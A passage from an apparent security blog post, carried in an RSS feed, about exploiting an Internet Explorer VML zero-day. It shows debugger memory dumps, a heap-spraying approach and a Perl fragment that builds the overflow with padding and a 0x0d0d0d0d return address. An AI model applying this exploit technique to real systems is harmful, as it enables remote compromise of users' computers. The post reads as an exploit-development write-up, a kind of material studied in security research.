cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010a96<br />
0013c271 004b05          add     byte ptr [ebx+5],cl        ds:0023:ffffff8d=??<br />
0:000&gt; dd eip &#8211; 0&#215;12<br />
0013c25f  90909090 90909090 90909090 3f003f90<br />
0013c26f  4b000000 00800005 00800000 00000000<br />
&#8230;</p></blockquote>
<p>I get the same result. The bytes 0xffff is converted to 0x3f00 automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.</p>
<p>Then the heap spraying technique comes into my mind. I browses the exploit that use <a href="http://sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html">SkyLined’s heap spraying techqniue</a> (the concept of this technique is that you inject the nop + shellcode into the heap memory and use some method to trick the eip jump into that heap – for more detail plz see <a href="http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html">Heap Spraying: Introduction</a>) and I&#8217;ve found that the shellcode in these exploits can contain the bytes 0xffff. Then, I add the javascript code that inject our heap into the memory and test it to ensure that the heaps contain our shellcode.</p>
<blockquote><p>0:000&gt; dd 0d0d0000<br />
0d0d0000  90909090 90909090 90909090 90909090<br />
0d0d0010  90909090 90909090 90909090 90909090<br />
&#8230;<br />
0:000&gt; dd 0d0d0d00<br />
0d0d0d00  00000090 90909000 90909090 90909090<br />
0d0d0d10  90909090 90909090 90909090 90909090<br />
&#8230;<br />
0:000&gt; dd 0d0d0d0d<br />
0d0d0d0d  90909090 90909090 90909090 90909090<br />
0d0d0d1d  90909090 90909090 90909090 90909090<br />
&#8230;</p></blockquote>
<p>Then I modify the attack vector:</p>
<blockquote><p>…<br />
$page = $page . “\x41\x00” x 256 . # padding<br />
“\x01\x0d\x0d\x0d” # writable memory<br />
“\x44\x44\x44\x44” # padding<br />
“\x0d\x0d\x0d\x0d” # return address<br />
…</p></blockquote>
<p>Because I inject the heaps until the address 0x0d0dxxxx become valid, so I can do anything with these address. First of all, I change the writeable address memory from 0x77fc3210 to 0x0d0d0d01 becauses the first one doesn’t work in W2K system. Writing to the address 0x0d0d0d01 is also possible because it is writable memory. For eip, I tell it jump into 0x0d0d0d0d – our shellcode. I test it and there is no problem ^-^. This 0-day is really fun to implement.</p>
<p>P.S. I also test the exploit with W2K and it still work without to change the return address <img src='http://blogs.securiteam.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>P.S. For XP SP2 (the most wanted, lol), the problem is that it has stack protection mechanism. The situation that can break the stack protection – we can write to any memory location that we want with our value &#8211; doesn’t occur even though this occurs in SP1, unlucky. However I&#8217;ve seen the movie that show the exploitation on XP SP2, this means that there is someway to exploit it but not with the method I use.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblogs.securiteam.com%2Findex.php%2Farchives%2F638&amp;title=Heap%20Spraying%3A%20Exploiting%20Internet%20Explorer%20VML%200-day" id="wpa2a_10"><img src="http://blogs.securiteam.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blogs.securiteam.com/index.php/archives/638/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

